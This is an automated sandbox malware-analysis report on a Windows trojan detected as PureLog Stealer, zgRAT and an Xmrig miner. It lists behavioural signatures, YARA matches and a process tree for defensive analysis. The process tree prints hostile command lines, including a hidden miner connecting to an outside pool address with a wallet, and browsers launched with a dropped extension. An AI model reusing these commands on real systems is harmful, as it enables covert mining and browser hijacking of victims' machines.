Edit tour

Windows Analysis Report
zlONcFaXkc.exe

Overview

General Information

Sample name:	zlONcFaXkc.exe renamed because original name is a hash value
Original sample name:	1c762a2cd186f1cde4b9e5d743eca3b5.exe
Analysis ID:	1430590
MD5:	1c762a2cd186f1cde4b9e5d743eca3b5
SHA1:	a0eff9fa7b5ada96c8acf483de9519a9e2548d80
SHA256:	a5b0d190fc09cd5c1ea07fa6b12a7dd4ab5f517c778fb60e4e14060e00ddecc8
Tags:	64exetrojan
Infos:

Detection

PureLog Stealer, Xmrig, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Sigma detected: Xmrig

Snort IDS alert for network traffic

Yara detected PureLog Stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Connects to many ports of the same IP (likely port scanning)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected PersistenceViaHiddenTask

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a Chrome extension

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

zlONcFaXkc.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\zlONcFaXkc.exe" MD5: 1C762A2CD186F1CDE4B9E5D743ECA3B5)

Target.exe (PID: 7384 cmdline: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe MD5: 1C762A2CD186F1CDE4B9E5D743ECA3B5)

zcezeaqsuhi.exe (PID: 7508 cmdline: "C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe" MD5: 8C4465565BB876235F68BCDDCCA4F3A7)

chrome.exe (PID: 7576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1964,i,18268589753722857029,6653790801772642783,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7600 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8116 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1988,i,7184690276915472336,9481308763283154706,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

WerFault.exe (PID: 7968 cmdline: C:\Windows\system32\WerFault.exe -u -p 7508 -s 1516 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

AddInProcess.exe (PID: 7492 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50 MD5: 929EA1AF28AFEA2A3311FD4297425C94)

svchost.exe (PID: 7832 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7932 cmdline: C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 8092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8860 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6680 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 9616 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 9648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 2692 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6628 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3028 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

svchost.exe (PID: 9480 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 9580 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s lfsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 6408 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2120,i,14171565827234090732,9899416858446876294,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,6617554079144185053,3298712530362425133,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2015231668.000002A5B9B80000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x5122:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x8670:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9fb8e:$s1: file:/// 0x9fa9e:$s2: {11111-22222-10009-11112} 0x9fb1e:$s3: {11111-22222-50001-00000} 0x98714:$s4: get_Module 0x98b95:$s5: Reverse 0x9ebe3:$s6: BlockCopy 0x9f54d:$s7: ReadByte 0x9fba0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
00000014.00000002.4120488458.000001978E306000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x468d8:$a1: mining.set_target 0x413b0:$a2: XMRIG_HOSTNAME 0x43480:$a3: Usage: xmrig [OPTIONS] 0x41388:$a4: XMRIG_VERSION
00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000014.00000002.4120488458.000001978E2D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x463c8:$a1: mining.set_target 0x40ea0:$a2: XMRIG_HOSTNAME 0x42f70:$a3: Usage: xmrig [OPTIONS] 0x40e78:$a4: XMRIG_VERSION
00000000.00000002.1675426228.000001DFC1C40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000014.00000002.4110650202.0000000140799000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000014.00000002.4120488458.000001978E339000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1665987392.000001DFA7B16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PersistenceViaHiddenTask	Yara detected PersistenceViaHiddenTask	Joe Security
00000001.00000002.4137105635.000001D0ABDF5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4110650202.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: zlONcFaXkc.exe PID: 7316	JoeSecurity_PersistenceViaHiddenTask	Yara detected PersistenceViaHiddenTask	Joe Security
Process Memory Space: zlONcFaXkc.exe PID: 7316	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Target.exe PID: 7384	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Target.exe PID: 7384	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Target.exe PID: 7384	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x5951f:$a1: mining.set_target 0x553dd:$a2: XMRIG_HOSTNAME 0x566f9:$a3: Usage: xmrig [OPTIONS] 0x553be:$a4: XMRIG_VERSION
Process Memory Space: AddInProcess.exe PID: 7492	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: AddInProcess.exe PID: 7492	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x8a997:$a1: mining.set_target 0x86855:$a2: XMRIG_HOSTNAME 0x87b71:$a3: Usage: xmrig [OPTIONS] 0x86836:$a4: XMRIG_VERSION
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.zlONcFaXkc.exe.1dfb9b593b8.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9b31380.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9b593b8.11.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9c49428.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9dd8e:$s1: file:/// 0x9dc9e:$s2: {11111-22222-10009-11112} 0x9dd1e:$s3: {11111-22222-50001-00000} 0x96914:$s4: get_Module 0x96d95:$s5: Reverse 0x9cde3:$s6: BlockCopy 0x9d74d:$s7: ReadByte 0x9dda0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfc1c40000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x15fbfe:$s1: file:/// 0x15fb0e:$s2: {11111-22222-10009-11112} 0x15fb8e:$s3: {11111-22222-50001-00000} 0x158784:$s4: get_Module 0x158c05:$s5: Reverse 0x15ec53:$s6: BlockCopy 0x15f5bd:$s7: ReadByte 0x15fc10:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9dd8e:$s1: file:/// 0x9dc9e:$s2: {11111-22222-10009-11112} 0x9dd1e:$s3: {11111-22222-50001-00000} 0x96914:$s4: get_Module 0x96d95:$s5: Reverse 0x9cde3:$s6: BlockCopy 0x9d74d:$s7: ReadByte 0x9dda0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9fb8e:$s1: file:/// 0x9fa9e:$s2: {11111-22222-10009-11112} 0x9fb1e:$s3: {11111-22222-50001-00000} 0x98714:$s4: get_Module 0x98b95:$s5: Reverse 0x9ebe3:$s6: BlockCopy 0x9f54d:$s7: ReadByte 0x9fba0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9fb8e:$s1: file:/// 0x9fa9e:$s2: {11111-22222-10009-11112} 0x9fb1e:$s3: {11111-22222-50001-00000} 0x98714:$s4: get_Module 0x98b95:$s5: Reverse 0x9ebe3:$s6: BlockCopy 0x9f54d:$s7: ReadByte 0x9fba0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9dd8e:$s1: file:/// 0x9dc9e:$s2: {11111-22222-10009-11112} 0x9dd1e:$s3: {11111-22222-50001-00000} 0x96914:$s4: get_Module 0x96d95:$s5: Reverse 0x9cde3:$s6: BlockCopy 0x9d74d:$s7: ReadByte 0x9dda0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfb9b31380.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x11fbc6:$s1: file:/// 0x11fad6:$s2: {11111-22222-10009-11112} 0x11fb56:$s3: {11111-22222-50001-00000} 0x11874c:$s4: get_Module 0x118bcd:$s5: Reverse 0x11ec1b:$s6: BlockCopy 0x11f585:$s7: ReadByte 0x11fbd8:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x9fb8e:$s1: file:/// 0x9fa9e:$s2: {11111-22222-10009-11112} 0x9fb1e:$s3: {11111-22222-50001-00000} 0x98714:$s4: get_Module 0x98b95:$s5: Reverse 0x9ebe3:$s6: BlockCopy 0x9f54d:$s7: ReadByte 0x9fba0:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
1.2.Target.exe.1d0abdfaef0.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
20.2.AddInProcess.exe.140000000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
20.2.AddInProcess.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
20.2.AddInProcess.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4aa4d8:$a1: mining.set_target 0x4a4fb0:$a2: XMRIG_HOSTNAME 0x4a7080:$a3: Usage: xmrig [OPTIONS] 0x4a4f88:$a4: XMRIG_VERSION
20.2.AddInProcess.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4b0fa0:$x1: donate.ssl.xmrig.com 0x4b1471:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
20.2.AddInProcess.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4b1980:$s1: %s/%s (Windows NT %lu.%lu 0x4b2ab0:$s3: \\.\WinRing0_ 0x4a9278:$s4: pool_wallet 0x4a4828:$s5: cryptonight 0x4a4838:$s5: cryptonight 0x4a4848:$s5: cryptonight 0x4a4858:$s5: cryptonight 0x4a4870:$s5: cryptonight 0x4a4880:$s5: cryptonight 0x4a4890:$s5: cryptonight 0x4a48a8:$s5: cryptonight 0x4a48b8:$s5: cryptonight 0x4a48d0:$s5: cryptonight 0x4a48e8:$s5: cryptonight 0x4a48f8:$s5: cryptonight 0x4a4908:$s5: cryptonight 0x4a4918:$s5: cryptonight 0x4a4930:$s5: cryptonight 0x4a4948:$s5: cryptonight 0x4a4958:$s5: cryptonight 0x4a4968:$s5: cryptonight
1.2.Target.exe.1d0abdfaef0.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
1.2.Target.exe.1d0abdfaef0.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4a90d8:$a1: mining.set_target 0x4a3bb0:$a2: XMRIG_HOSTNAME 0x4a5c80:$a3: Usage: xmrig [OPTIONS] 0x4a3b88:$a4: XMRIG_VERSION
1.2.Target.exe.1d0abdfaef0.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4afba0:$x1: donate.ssl.xmrig.com 0x4b0071:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
1.2.Target.exe.1d0abdfaef0.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4b0580:$s1: %s/%s (Windows NT %lu.%lu 0x4b16b0:$s3: \\.\WinRing0_ 0x4a7e78:$s4: pool_wallet 0x4a3428:$s5: cryptonight 0x4a3438:$s5: cryptonight 0x4a3448:$s5: cryptonight 0x4a3458:$s5: cryptonight 0x4a3470:$s5: cryptonight 0x4a3480:$s5: cryptonight 0x4a3490:$s5: cryptonight 0x4a34a8:$s5: cryptonight 0x4a34b8:$s5: cryptonight 0x4a34d0:$s5: cryptonight 0x4a34e8:$s5: cryptonight 0x4a34f8:$s5: cryptonight 0x4a3508:$s5: cryptonight 0x4a3518:$s5: cryptonight 0x4a3530:$s5: cryptonight 0x4a3548:$s5: cryptonight 0x4a3558:$s5: cryptonight 0x4a3568:$s5: cryptonight
Click to see the 36 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

